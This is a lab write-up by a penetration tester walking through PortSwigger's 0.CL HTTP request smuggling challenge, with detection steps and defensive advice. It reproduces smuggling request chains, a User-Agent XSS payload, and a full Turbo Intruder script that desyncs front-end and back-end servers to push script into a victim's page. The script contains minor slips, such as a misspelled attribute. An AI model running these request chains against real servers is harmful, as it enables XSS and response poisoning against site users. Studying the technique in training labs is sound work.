Lab Writeup: PortSwigger – 0.CL Request Smuggling

Lab Writeup: PortSwigger – 0.CL Request Smuggling

September 9, 2025

First-person, A complete, beginner-friendly walkthrough of PortSwigger’s new 0.CL Request Smuggling lab. Includes detection techniques, exploitation methods, ERG choices, and defensive strategies.



Lab Writeup: PortSwigger - 0.CL Request Smuggling


⚠️ Disclaimer

This write-up is for educational purposes only and intended for legal, controlled environments such as PortSwigger’s Web Security Academy. Do not apply these techniques to systems without proper authorization.


1 - Introduction

When I opened the PortSwigger 0.CL Request Smuggling lab, the lab description was clear:

Goal: Carlos visits the homepage every five seconds. Exploit the vulnerability to execute alert() in his browser.

So my job was simple to state and tricky to execute: make Carlos’s browser run a JavaScript alert() by abusing a 0.CL request smuggling desync.

In this blog I write what I actually did - step-by-step, in plain language. I explain why each step matters, why I chose certain endpoints, and how defenders can prevent it.

PortSwigger 0.CL lab landing page


2 - Quick background

Request smuggling happens when two servers disagree about where one HTTP request ends and the next begins. In this lab, the mismatch is 0.CL: the front-end ignores Content-Length: 0, but the back-end respects it and reads a body that the front-end didn’t expect. That mismatch lets us sneak a new request past the front-end. It doesn’t see it, but the back-end does - and runs it like a normal request.

Beginner breakout: Imagine two people reading a letter. The first one thinks the letter ends after the first page because it says 'End of letter' (Content-Length: 0). So they pass the rest along without reading it. But the second person sees that there’s more and reads the next page as a whole new letter (Content-Length: 4). If you sneak in secret instructions on that second page, the second reader treats them as a new, valid message. That’s 0.CL request smuggling.

Reference reading: PortSwigger research on HTTP desync attacks and RFC 7230 for request framing rules.


3 - Recon: where I started

I began with basic recon in Burp Suite:

  1. Set my browser to proxy through Burp and opened the lab.
  2. Visited the homepage and a few static pages, recording all requests in HTTP history.
  3. Looked for unusual headers and values - especially Content-Length and Transfer-Encoding.

What I found:


4 - Confirming the 0.CL behavior

Before building anything, I wanted to verify that the back-end would accept a smuggled request when Content-Length: 0 was used.

Manual check with Repeater (grouped test):

  1. In Repeater, I composed:

    POST / HTTP/1.1
    Host: <LAB_HOST>
    Content-Length: 0
    
    GET /404 HTTP/1.1
    Host: <LAB_HOST>
    
    HTTP

    (Note: the GET /404 is placed after an empty POST body - intentionally.)

  2. I sent the whole combined unit and watched the response.

  3. If the second request (GET /404) is processed unexpectedly (for example the server returns a 404 or an unexpected result), that indicates a 0.CL desync.

This quick Repeater test confirmed the lab’s 0.CL behavior for me.

Why this matters: I didn’t blindly jump to an exploit. First I checked that the back-end would indeed treat the following text as a new request.


5 - Finding the XSS injection point

The lab goal is to execute alert() in Carlos’ browser. To solve the lab, I needed to find a place where I could inject JavaScript, and it would show up when Carlos visits the homepage. I searched the app for reflected data that would be rendered in the victim’s page:

Important: I only used harmless alert(1) payloads in the lab environment to avoid causing harm.

Result: The User-Agent header was reflected back into the HTML, so it could be used to inject our XSS payload.


6 - Choosing the ERG (why endpoint choice matters)

I needed a reliable Early Response Gadget (ERG) — an endpoint that responds quickly and predictably. In testing, static resource paths (for example /resources/css/anything) tended to provide stable, fast responses which made timing and ordering in the smuggling chain easier.

Why ERG matters:

So I selected a static asset path as my carrier point (ERG), because it made the exploit more stable in repeated runs.

0cl-early-response-gadget-erg-timing-graph


7 - Building the smuggling chain (Turbo Intruder)

Manual single-shot requests are flaky for 0.CL. I used Turbo Intruder to control raw TCP ordering and timing. Below is the structure I used — I’ll explain each piece in plain language.

Stage 1 (carrier request) — the front-end sees this first

POST /resources/css/anything HTTP/1.1
Host: <LAB_HOST>
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: %s
HTTP

Smuggled request (the secret we want the back-end to process)

GET /post?postId=8 HTTP/1.1
User-Agent: a"/><script>alert(1)</script>
Content-Type: application/x-www-form-urlencoded
Content-Length: 5

x=1
HTTP

Stage 2 (connection shaper) — keeps the flow predictable

OPTIONS / HTTP/1.1
Content-Length: 123
X: Y
HTTP

Victim request — what Carlos will request

GET / HTTP/1.1
Host: <LAB_HOST>
User-Agent: foo
HTTP

How Turbo Intruder runs them I queued Stage 1, then the Stage 2 + smuggled request, then the victim request. Turbo Intruder sends these in the same TCP stream so the back-end parses the smuggled GET as a distinct request while the front-end thinks it's body data.

0cl-turbo-intruder-smuggling-script-setup

def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=10,
                           requestsPerConnection=1,
                           engine=Engine.BURP,
                           maxRetriesPerRequest=0,
                           timeout=15
                           )

    host = 'your lab host'

    # The attack should contain an early-response gadget and a (maybe obfuscated) Content-Length header with the value set to %s
    attack1 = '''GET /resources/labheader/js/labHeader.js HTTP/1.1
Host: '''+host+'''
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate, br
Accept: /
Connection: keep-alive
Content-Length : 76

'''

    # This will get prefixed to the victim's request - place your payload in here
    attack2 = '''GET /resources/labheader/js/labHeader.js HTTP/1.1
Content-Length: 1234
X: GET /resources/css/labsBlog.css HTTP/1.1
Host: '''+host+'''
Accept-Encoding: gzip, deflate, br
Accept: /
Connection: keep-alive

HEAD /post/comment/confirmation?postId=6 HTTP/1.1
Host: '''+host+'''
Connection: keep-alive

GET /resources?hh=<script>alert(1)</script>'''+('A'*6500)+''' HTTP/1.1
X: y'''

    victim = '''GET / HTTP/1.1
Host: '''+host+'''
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Connection: close

'''

    while True:
        for x in range(7):
            engine.queue(attack1, label="attack1")
            engine.queue(attack2, label="attack2")
#            engine.queue(victim, label="victim")
        


def handleResponse(req, interesting):
    table.add(req)

    # 0.CL attacks use a double desync so they can take a while!
    # Uncomment & customise this if you want the attack to automatically stop on success
    if req.label == 'victim' and (req.status == 404 or 'alert' in req.response):
        req.lable = 'victim success'
        req.engine.cancel()
JavaScript

8 - Running the attack and watching Carlos

I launched the Turbo Intruder script and watched the Burp/Turbo console:

Success signs I looked for:

When the injection reflected in the victim response, Carlos visited the homepage and the XSS ran — the lab marked it as solved automatically.

0cl-lab-solved-xss-alert-success-portswigger


9 - Troubleshooting (what failed and why)

If it didn’t work right away, these are the common issues I debugged:

I iterated on these fixes until the XSS reflexed reliably.


10 - Defensive perspective (how to stop this)

This section is the most critical for defenders.

Code and config level fixes

  1. Ensure consistent HTTP parsing at the proxy and application layers. Terminate and re-encode requests at a single boundary when possible.
  2. Reject ambiguous requests — for example, requests that contain both Content-Length and Transfer-Encoding or odd Content-Length: 0 uses.
  3. Upgrade and patch proxies (Nginx, HAProxy, Apache) and application servers to versions that address known desync bugs.

Monitoring & detection

Developer tip: Add automated tests that send malformed requests. If front-end and back-end parse differently, your CI/CD test should fail.


11 - Final thoughts (what I learned)

Solving this lab taught me that:

If you’re practicing this lab, take your time with the Repeater test, pick a stable ERG, and iterate on your Turbo Intruder script. When you see that alert() in Carlos’ browser, you’ll have a better intuition for HTTP parsing than most developers.


References

Herish Chaniyara Profile

Herish Chaniyara

Web Application Penetration Tester (VAPT) | Security Researcher @HackerOne | PortSwigger Hall of Fame (#59) | Gold Microsoft Student Ambassador | Microsoft Certified (AI-900)